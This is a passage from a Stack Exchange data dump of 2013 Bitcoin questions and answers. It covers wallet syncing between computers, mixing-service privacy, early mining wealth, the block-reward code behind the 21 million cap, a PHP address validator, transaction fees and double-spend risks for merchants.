href=&quot;https://code.google.com/p/bitcoin-wallet/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/bitcoin-wallet/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/BlockChain.java#26&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/BlockChain.java#26&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Storage&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Scalability#Storage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Scalability#Simplified_payment_verification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4501" LastEditorUserId="4501" LastEditDate="2013-04-18T09:27:54.170" LastActivityDate="2013-04-18T09:27:54.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9943" PostTypeId="1" AcceptedAnswerId="9948" CreationDate="2013-04-18T09:25:12.897" Score="3" ViewCount="255" Body="&lt;p&gt;I use a few computers and would like to perform bitcoin transactions from any of them. Thing is, I'm not very fond of the idea of paying the fee and waiting every time I want to transfer the coins from one computer to another. Is there any other simple, convenient, easy &quot;out of band&quot; method of transferring coins between computers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I realize an online wallet service would solve my problem but I really don't like the idea of trusting a 3rd party with my bitcoins)&lt;/p&gt;&#xA;" OwnerUserId="4101" LastActivityDate="2013-10-28T18:59:26.797" Title="What is a cost-efficient, fast and easy method of transferring btc between own computers?" Tags="|transactions|offline|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9944" PostTypeId="2" ParentId="9943" CreationDate="2013-04-18T09:29:53.193" Score="1" Body="&lt;p&gt;[Edit: Read comment as to why this is not a good idea.]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just store the &lt;code&gt;wallet.dat&lt;/code&gt; file on both computers, which contains your entire wallet. Then both computers will be able to spend from the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do make sure to copy the wallet to the other computer from time to time: if you don't synchronize regularly, the balances might start mismatching because the private keys are no longer the same.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="153" LastEditDate="2013-04-18T10:31:13.340" LastActivityDate="2013-04-18T10:31:13.340" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9947" PostTypeId="1" CreationDate="2013-04-18T10:34:57.780" Score="5" ViewCount="1031" Body="&lt;p&gt;I'm thinking about using a mixing service like Blockchain.info's &lt;a href=&quot;https://blockchain.info/wallet/send-shared&quot;&gt;Shared Sending&lt;/a&gt;. I don't have anything to hide, it's just about privacy. My concerns are about where my bitcoins will go. I'm sure some people are using these mixing services to do illegal things like buying drugs, so I'm afraid if I use a mixing service, one day the police will knock my door asking questions because my original bitcoins went to a drug dealer or something worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, are my concerns justified?&lt;/p&gt;&#xA;" OwnerUserId="3995" LastActivityDate="2014-08-01T12:13:47.403" Title="Are mixing services dangerous?" Tags="|privacy|mixing|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9948" PostTypeId="2" ParentId="9943" CreationDate="2013-04-18T10:42:33.200" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info/wallet&lt;/a&gt; is a hybrid E-Wallet.  It has a wallet sync browser plugin which will synchronize the web-based wallet with the wallet.dat on your local client.  It does this using the RPC interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can spend from the local client and then any new addresses generated will automatically show up when using Blockchain.info/wallet via the web or mobile, and vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-18T10:42:33.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9949" PostTypeId="2" ParentId="9947" CreationDate="2013-04-18T11:37:59.490" Score="0" Body="&lt;p&gt;Did you purchase illegal drugs?  Are you trying to conceal the source of illicit funds?  If not then you've done nothing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have a right to privacy with your financial transactions.  Shared sending provides you with better privacy than not using shared sending.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-18T11:37:59.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9951" PostTypeId="2" ParentId="9937" CreationDate="2013-04-18T13:10:52.827" Score="-2" Body="&lt;p&gt;No Bitcoin is dead by definition - it may just be impossible to spend them, because e.g. you lost the private key. So you will never be able to distinguish between dead addresses and just untouched paper wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was also thinking about it and came up with a proposal for a protocol change: If it is well known and communicated through every news, and everybody would agree in that change of course, it would allow miners to 'take' money from transactions which are unspent more than (let's say) 2 years. This means they can transfer the coins to another address without providing the signature and the network accepts this. This sounds scary, but it wouldn't mean you steal somebody when everybody knows. You just have to move coins every two years. Unfortunately long-term paper wallets would be less convenient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course details are missing, e.g. you shouldn't get all the money of a big transaction in one block just because you are lucky. Anyway, I think this &quot;using of dead coins&quot; idea wont make it, as everybody is interested in a rising bitcoin value, and this happens when some are lost!&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2013-04-18T13:10:52.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9955" PostTypeId="2" ParentId="991" CreationDate="2013-04-18T17:11:30.940" Score="0" Body="&lt;p&gt;If one was to have a library of proof of work functions that perform fundamentally different calculations requiring different algorithms that are both genetic and also randomly selected, then yes, ASICs would become irrelevant. But this would require restarting the bitcoin entirely. It won't be done. ASICs are here to stay. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The community's focus should be on developing open sourced ASICs and ensuring they are evenly distributed. Everything usually ends up getting its own hardware. Gamers created the GPU market for example.  &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T17:11:30.940" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9956" PostTypeId="1" AcceptedAnswerId="9958" CreationDate="2013-04-18T19:56:47.317" Score="15" ViewCount="42312" Body="&lt;p&gt;A number of questions on this site ask whether it's possible to make money mining bitcoins and the expected profits.  However, I'd like to know if there are real-life stories of people &lt;strong&gt;becoming wealthy&lt;/strong&gt; solely from mining bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like mining bitcoins is, at best, a hobby that cannot make someone wealthy.&lt;/p&gt;&#xA;" OwnerUserId="4512" LastEditorUserId="5406" LastEditDate="2016-02-08T12:55:26.963" LastActivityDate="2016-02-08T12:55:26.963" Title="Has anyone gotten rich mining bitcoins?" Tags="|mining-profitability|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9957" PostTypeId="1" AcceptedAnswerId="9963" CreationDate="2013-04-18T20:08:16.357" Score="1" ViewCount="75" Body="&lt;p&gt;I'm thinking traffic analysis, packet inspection, IP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would that be differenciable from other traffic patterns?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How active do admins look for such patterns?(I'm thinking more P2P stuff)&lt;/p&gt;&#xA;" OwnerUserId="570" LastEditorUserId="5406" LastEditDate="2016-04-28T13:09:49.827" LastActivityDate="2016-04-28T13:09:49.827" Title="Is there any way to tell if there is a miner (in a pool) on the network, from a network perspective?" Tags="|mining-pools|security|network|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9958" PostTypeId="2" ParentId="9956" CreationDate="2013-04-18T20:18:31.103" Score="12" Body="&lt;p&gt;I suspect that it is hard to find real life stories because the miners would like to remain anonymous. If you had a few million dollars in largely untraceable BTC, would you want to publicize your story and make it easy for the government to tax you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's some very strong evidence to indicate that &quot;getting rich&quot; was very possible. One story that comes to mind is &quot;allinvain&quot; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=16457.0&quot;&gt;who posted a reasonable amount of evidence&lt;/a&gt; that 25,000 BTC that he had mined was stolen from him. So, even though allinvain didn't &quot;get rich&quot; in this story, it certainly showed that a solo miner in 2011 could be making tens of thousands of BTC, easily worth millions of USD in 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the blockchain it is easy to find addresses used by miners in 2010 that have thousands of bitcoins in them. Just find a block reward and trace where it went to. Here is one: &lt;a href=&quot;http://blockexplorer.com/address/1AvLeBnWbiBeCNHwLGtWEK9GSVug3RWWxt&quot;&gt;1AvLeBnWbiBeCNHwLGtWEK9GSVug3RWWxt&lt;/a&gt; It appears to be an address where the miner collected his block rewards over six weeks or so. (I'll substitute a blockchain.info link when it is back up.) Perhaps this private key was lost, so we can't say for sure. But it's reasonably to think that this one account (worth about $400,000) represents only a few weeks of work for this miner. If he kept all of the BTC he mined in 2010, he is likely a millionaire. At least on paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, since mining was much less difficult several years ago, and the exchange rate has gone up so much in that same time period, it seems very reasonable to assume at least some of the serious miners from those early days have made a considerable amount of profit.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastEditorUserId="2306" LastEditDate="2013-04-23T21:04:25.533" LastActivityDate="2013-04-23T21:04:25.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9959" PostTypeId="1" AcceptedAnswerId="9960" CreationDate="2013-04-18T21:09:56.777" Score="7" ViewCount="3172" Body="&lt;p&gt;&lt;strong&gt;Which fragment of the Satoshi client is verifying if announced block has a valid reward?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, we now live in the 25 BTC reward period. I guess client after receiving a newly minted block, does verifications, like checking if inputs and outputs are balancing for example, and, I guess, if the reward is 25 BTC, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So where is this fragment of the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know where is the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L1053&quot; rel=&quot;nofollow&quot;&gt;code which limits BTC supply to 21 million&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    int64 static GetBlockValue(int nHeight, int64 nFees)&#xA;    {&#xA;        int64 nSubsidy = 50 * COIN;&#xA;&#xA;        // Subsidy is cut in half every 210000 blocks, which will occur approximately every 4 years&#xA;        nSubsidy &amp;gt;&amp;gt;= (nHeight / 210000);&#xA;&#xA;        return nSubsidy + nFees;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and I am looking for somebody to point me to the right place, where the verification is done.&lt;/p&gt;&#xA;" OwnerUserId="3527" LastEditorUserId="5406" LastEditDate="2015-12-23T08:39:26.503" LastActivityDate="2015-12-23T08:39:26.503" Title="Where, in the code, in the Satoshi client is 21 million cap implemented?" Tags="|bitcoin-core-development|money-supply|coinbase-transaction|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9960" PostTypeId="2" ParentId="9959" CreationDate="2013-04-18T21:32:04.720" Score="7" Body="&lt;p&gt;There are 3 places where GetBlockValue is called. One is on incoming blocks, one is on blocks we're mining, and one is an error message. This is the one for incoming blocks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (vtx[0].GetValueOut() &amp;gt; GetBlockValue(pindex-&amp;gt;nHeight, nFees))&#xA;    return state.DoS(100, error(&quot;ConnectBlock() : coinbase pays too much (actual=%&quot;PRI64d&quot; vs limit=%&quot;PRI64d&quot;)&quot;, vtx[0].GetValueOut(), GetBlockValue(pindex-&amp;gt;nHeight, nFees)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/main.cpp#L1672&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This looks at the first transaction (the coinbase transaction) and checks the value. If it is larger than the subsidy plus the fees, then the block is rejected and the node that sent the block is blacklisted.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-18T21:32:04.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9961" PostTypeId="2" ParentId="9947" CreationDate="2013-04-18T21:58:54.550" Score="3" Body="&lt;p&gt;It's unlikely that this would be a problem. Yes, coins that you send to a mixing service might end up in sketchy transactions. But they are, by definition, going through an intermediary. It's not that your coins are being sent to a drug dealer. Your coins are going to the mixing service. And then the mixing services are sending new completely transactions to that dealer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it would be like the cops showing up at your door complaining that the $20 you spent at the shoe store was later used to buy drugs. I would hope that any police that were smart enough to try to trace the origin of a BTC would also understand the idea that you can't control the other transactions in a mixing service. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there might be some suspicion just because you are using a mixing service. I haven't heard of any cases of this, but it wouldn't surprise me to find out that police would give a drug suspect a hard time about spending BTC through a mixer. But (at least in the US) I can't imagine this being used to harass you unless you were already under suspicion for some other reason. In part, because using a mixer isn't even that obvious: it just looks like any other BTC address. The government would have to be watching your browser or browser history to know you were visiting mixer websites.&lt;/p&gt;&#xA;" OwnerUserId="3439" LastActivityDate="2013-04-18T21:58:54.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9962" PostTypeId="2" ParentId="161" CreationDate="2013-04-18T22:21:34.420" Score="15" Body="&lt;p&gt;As Artefact2 mentioned, Bitcoin uses fixed-point math to calculate the block subsidies. So, ignoring the unspendable genesis block, the sundry lost coins and unclaimed rewards, the maximum number of bitcoins is 20999999.9769 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that number through the following python program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COIN = 100 * 1000 * 1000&#xA;nSubsidy = 50 * COIN&#xA;nHeight = 0&#xA;total = 0&#xA;while nSubsidy != 0:&#xA;    nSubsidy = 50 * COIN&#xA;    nSubsidy &amp;gt;&amp;gt;= nHeight / 210000&#xA;    nHeight += 1&#xA;    total += nSubsidy&#xA;&#xA;print total / float(COIN)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's intended to mirror this code from the Bitcoin client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64 static GetBlockValue(int nHeight, int64 nFees)&#xA;{&#xA;    int64 nSubsidy = 50 * COIN;&#xA;&#xA;    // Subsidy is cut in half every 210000 blocks, which will occur approximately every 4 years&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / 210000);&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, it only differs from 21 million BTC by only 3 bitcents, so the difference isn't significant.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-18T22:21:34.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9963" PostTypeId="2" ParentId="9957" CreationDate="2013-04-18T22:38:22.683" Score="1" Body="&lt;p&gt;Pool miners connect to the pool server, not to the P2P network. You may be able to find the pool server by tracing the origin of the blocks, but you can't find the individual pooled miners on the network, as they're not actually on the network.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-18T22:38:22.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9964" PostTypeId="1" AcceptedAnswerId="9984" CreationDate="2013-04-18T22:46:54.863" Score="2" ViewCount="725" Body="&lt;p&gt;I deleted my block chain and I'm currently syncing again. Just as I did last time, I noticed that from a certain point, my CPU usage raises to almost 100% and stays so for much longer than the usual peaks before this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's around the last 5000 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also sometimes just stops, I don't know if that is for saving resources or something else, but sometimes it just stops (both CPU and network traffic go to nearly nothing) and almost no new blocks are added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason for this different behavior while syncing the last 5000 blocks?&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-04-19T11:59:42.007" Title="Why is syncing the last 5000 blocks so much more CPU-intensive?" Tags="|blockchain|bitcoind|synchronization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9965" PostTypeId="2" ParentId="9964" CreationDate="2013-04-18T23:01:12.003" Score="0" Body="&lt;p&gt;Might be that there's a lot more transactions in later blocks. &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-04-18T23:01:12.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9966" PostTypeId="2" ParentId="2564" CreationDate="2013-04-18T23:18:48.050" Score="9" Body="&lt;p&gt;part of &lt;a href=&quot;https://github.com/mikegogulski/bitcoin-php/blob/master/src/bitcoin.inc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mikegogulski/bitcoin-php/blob/master/src/bitcoin.inc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; private static $hexchars = &quot;0123456789ABCDEF&quot;;&#xA; private static $base58chars = &quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;;&#xA;&#xA;public static function checkAddress($addr, $addressversion = &quot;00&quot;) // hex byte&#xA;{&#xA;    $addr = self::decodeBase58($addr);&#xA;    if (strlen($addr) != 50) {&#xA;        return false;&#xA;    }&#xA;    $version = substr($addr, 0, 2);&#xA;    if (hexdec($version) &amp;gt; hexdec($addressversion)) {&#xA;        return false;&#xA;    }&#xA;    $check = substr($addr, 0, strlen($addr) - 8);&#xA;    $check = pack(&quot;H*&quot;, $check);&#xA;    $check = strtoupper(hash(&quot;sha256&quot;, hash(&quot;sha256&quot;, $check, true)));&#xA;    $check = substr($check, 0, 8);&#xA;    return $check == substr($addr, strlen($addr) - 8);&#xA;}&#xA;&#xA;&#xA;private function decodeBase58($base58)&#xA;{&#xA;    $origbase58 = $base58;&#xA;&#xA;    //only valid chars allowed&#xA;    if (preg_match('/[^1-9A-HJ-NP-Za-km-z]/', $base58)) {&#xA;        return &quot;&quot;;&#xA;    }&#xA;&#xA;    $return = &quot;0&quot;;&#xA;    for ($i = 0; $i &amp;lt; strlen($base58); $i++) {&#xA;        $current = (string)strpos(self::$base58chars, $base58[$i]);&#xA;        $return = (string)bcmul($return, &quot;58&quot;, 0);&#xA;        $return = (string)bcadd($return, $current, 0);&#xA;    }&#xA;&#xA;    $return = self::encodeHex($return);&#xA;&#xA;    //leading zeros&#xA;    for ($i = 0; $i &amp;lt; strlen($origbase58) &amp;amp;&amp;amp; $origbase58[$i] == &quot;1&quot;; $i++) {&#xA;        $return = &quot;00&quot; . $return;&#xA;    }&#xA;&#xA;    if (strlen($return) % 2 != 0) {&#xA;        $return = &quot;0&quot; . $return;&#xA;    }&#xA;&#xA;    return $return;&#xA;}&#xA;&#xA;private function encodeHex($dec)&#xA;{&#xA;    $return = &quot;&quot;;&#xA;    while (bccomp($dec, 0) == 1) {&#xA;        $dv = (string)bcdiv($dec, &quot;16&quot;, 0);&#xA;        $rem = (integer)bcmod($dec, &quot;16&quot;);&#xA;        $dec = $dv;&#xA;        $return = $return . self::$hexchars[$rem];&#xA;    }&#xA;    return strrev($return);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2892" LastEditorUserId="13376" LastEditDate="2014-02-12T00:24:30.613" LastActivityDate="2014-02-12T00:24:30.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9967" PostTypeId="1" AcceptedAnswerId="9969" CreationDate="2013-04-19T00:16:05.417" Score="5" ViewCount="1197" Body="&lt;p&gt;Apologies if this question has been asked before, but when a bitcoin client wishes to send funds to an address, does the bitcoin protocol force the client to verify that the address has a corresponding private key? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I am given an address and I want to send a btc to this address, before I am allowed to authorize this transaction does the bitcoin protocol force me to verify that the address can decrypt a message encrypted from its public key?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-19T01:19:08.417" Title="Address Public Private key verification" Tags="|cryptography|" AnswerCount="1" CommentCount="3" ClosedDate="2013-04-19T08:46:09.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="9968" PostTypeId="1" CreationDate="2013-04-19T00:58:26.060" Score="2" ViewCount="750" Body="&lt;p&gt;All of the quick send transfers I've made on blockchain.info do not show up in my blockchain.info history.  Furthermore, a person I have made a few quick send transaction with is claiming 0 confirmations on them.  And the transaction ids he recorded for these don't exist in blockchain.info's history of transactions.  These bitcoins have been deducted from my blockchain.info wallet, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Will these ever get confirmed?  If so, when?  If not, how do I get my bitcoins back?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Why aren't they showing up as transactions in blockchain.info?&lt;/p&gt;&#xA;" OwnerUserId="4516" LastEditorUserId="2306" LastEditDate="2013-04-20T00:21:01.153" LastActivityDate="2013-04-20T00:21:01.153" Title="Missing transactions with blockchain.info" Tags="|transactions|blockchain.info|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9969" PostTypeId="2" ParentId="9967" CreationDate="2013-04-19T01:19:08.417" Score="3" Body="&lt;p&gt;No, there is no enforcement that a private key exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, due to a Bitcoin address including a checksum, it is very unlikely for the client to create a transaction when for an address with a typo, paste error, or other erroneous data.  There are addresses that will pass the checksum test in which, presumably, no private key exists. &lt;a href=&quot;http://blockexplorer.com/address/1BitcoinEaterAddressDontSendf59kuE&quot; rel=&quot;nofollow&quot;&gt;1BitcoinEaterAddressDontSendf59kuE&lt;/a&gt; is, in all likelihood, one such address.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-19T01:19:08.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9970" PostTypeId="1" AcceptedAnswerId="9974" CreationDate="2013-04-19T01:49:16.503" Score="9" ViewCount="372" Body="&lt;p&gt;I often come across merchants accepting payment in bitcoin, who require several confirmations on transactions, but where the probability of a successful double spend doesn't justify the waiting time for the user. A good example is membership payment for adult sites, where the membership can easily be withdrawn in case of a double spend, and not much is lost if a double spend is successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A part of the reason they do this, I think, is that they don't have a good way of knowing if a user is attempting to double spend coins sent to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a service available that allows merchants to be notified of double spends of coins sent to them, so that they can be notified in case this happens, and take action - for example by banning the user, or just temporarily removing the deposit to an account until the transaction has 6 confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple service could be one where the merchant enters their deposit address at a web service, and the web service simply responds with the amount of attempted double spends, ie. if any of the inputs to the transaction that sends funds to the merchant's deposit address are attempted spent in another transaction, the request will return a number above 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a service exist?&lt;/p&gt;&#xA;" OwnerUserId="902" LastEditorUserId="1860" LastEditDate="2013-04-19T03:35:31.537" LastActivityDate="2017-03-25T07:35:48.477" Title="Is there a service that alerts about attempted double spends for merchants accepting 0-confirmation transactions?" Tags="|services|doublespend|merchant-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9971" PostTypeId="1" AcceptedAnswerId="9972" CreationDate="2013-04-19T03:09:27.327" Score="11" ViewCount="3940" Body="&lt;p&gt;I'm trying to transfer all of my 0.1 BTC located in one wallet to another wallet. I don't care how long it takes to finish, so I'd rather send it without paying any transaction fee. I'm new to this, so I started out by using the Bitcoin-Qt client. I set the transaction fee to 0.0 BTC, and tried to move the funds to the other address. I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xbc8I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a bug since I set the transaction fee to 0.0 BTC, but since I'm new to this, I want to make sure that I'm not missing something. Do 0.1 BTC transactions require a transaction fee? If this is just a bug, how can I get my money out without dropping a whole nickel $0.05? (I'm very stingy.)&lt;/p&gt;&#xA;" OwnerUserId="4403" LastActivityDate="2014-06-04T20:44:18.670" Title="Does the Bitcoin Qt client have a minimum transaction fee?" Tags="|bitcoin-core|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9972" PostTypeId="2" ParentId="9971" CreationDate="2013-04-19T03:36:28.813" Score="6" Body="&lt;p&gt;(Update: The client has changed the min fee from 0.0005 to 0.0001)&lt;/p&gt;&#xA;&lt;p&gt;Yes, the Bitcoin-QT client applies a minimum fee of at least 0.0001BTC to &lt;em&gt;some&lt;/em&gt; transactions. &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quoting the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sending&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is smaller than 1,000 bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough (see the Technical Info section below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Otherwise, the reference implementation will round up the transaction size to the next&#xA;thousand bytes and add a fee of 0.1 mBTC (0.0001 BTC) per thousand bytes&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;. As an&#xA;example, a fee of 0.1 mBTC (0.0001 BTC) would be added to a 746 byte transaction, and a&#xA;fee of 0.2 mBTC (0.0002 BTC) would be added to a 1001 byte transaction. Users may&#xA;increase the default 0.0001 BTC/kB fee setting, but cannot control transaction fees for&#xA;each transaction. Bitcoin-Qt does prompt the user to accept the fee before the&#xA;transaction is sent (they may cancel the transaction if they are not willing to pay the&#xA;fee).&lt;/p&gt;&#xA;&lt;p&gt;Note that a typical transaction is 500 bytes, so the typical transaction fee for&#xA;low-priority transactions is 0.1 mBTC (0.0001 BTC), regardless of the number of bitcoins&#xA;sent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &amp;quot;priority&amp;quot; mentioned is calculated based on the quantity of bitcoins and the age of the bitcoin inputs making up the transaction (ie how long since you received them). It prevents a user flooding the network by repeatedly sending bitcoins to themself.&lt;/p&gt;&#xA;&lt;p&gt;Note that this isn't a restriction on the Bitcoin protocol itself though. &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow noreferrer&quot;&gt;More details here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In your case, the only thing you can likely control is the ages of the bitcoins; ie waiting will help meet the third requirement.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-06-04T20:44:18.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9974" PostTypeId="2" ParentId="9970" CreationDate="2013-04-19T04:18:31.470" Score="5" Body="&lt;p&gt;Because of the way the Bitcoin protocol with the distributed and decentralized P2P network is architected, monitoring the way you describe would do more harm than good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a merchant is expecting to learn of double spends, then the monitoring service needs to know of each transaction.   A race attack double spend attempt might, however, communicate one transaction that reaches the merchant but a different transaction that reaches the miner that happens to include that transaction in a block.    If the monitoring service sees what the miner sees, then the monitoring service would never know that the merchant had received a transaction that eventually became invalid due to the later transaction from a mined block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a merchant that is following the DIY route has further exposure to double spends.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some payment processors will deliver if a 0/unconfirmed notice was sent and then later that transaction becomes invalid due to a double spend.  BitPay is, I believe, one of them that will do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a need for some more utilities for aiding merchants, including transaction re-broadcast.  So for example if a merchant accepts a 0/unconfirmed transaction that transaction gets rebroadcast sufficiently even if the original sender fails to re-broadcast it.  Also needed might be a service that tries to ensure that if there is a blockchain fork (two or more chains both at the same height) that the confirmed transactions from one side are relayed to miners still working on the other side of the fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason these haven't already been built is that there are so few merchants currently who accept payment on 0/unconfirmed transactions.  There will need to be some double spending thefts to raise awareness that this is a risk not to be ignored, especially for those merchants following the DIY path. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-19T04:18:31.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
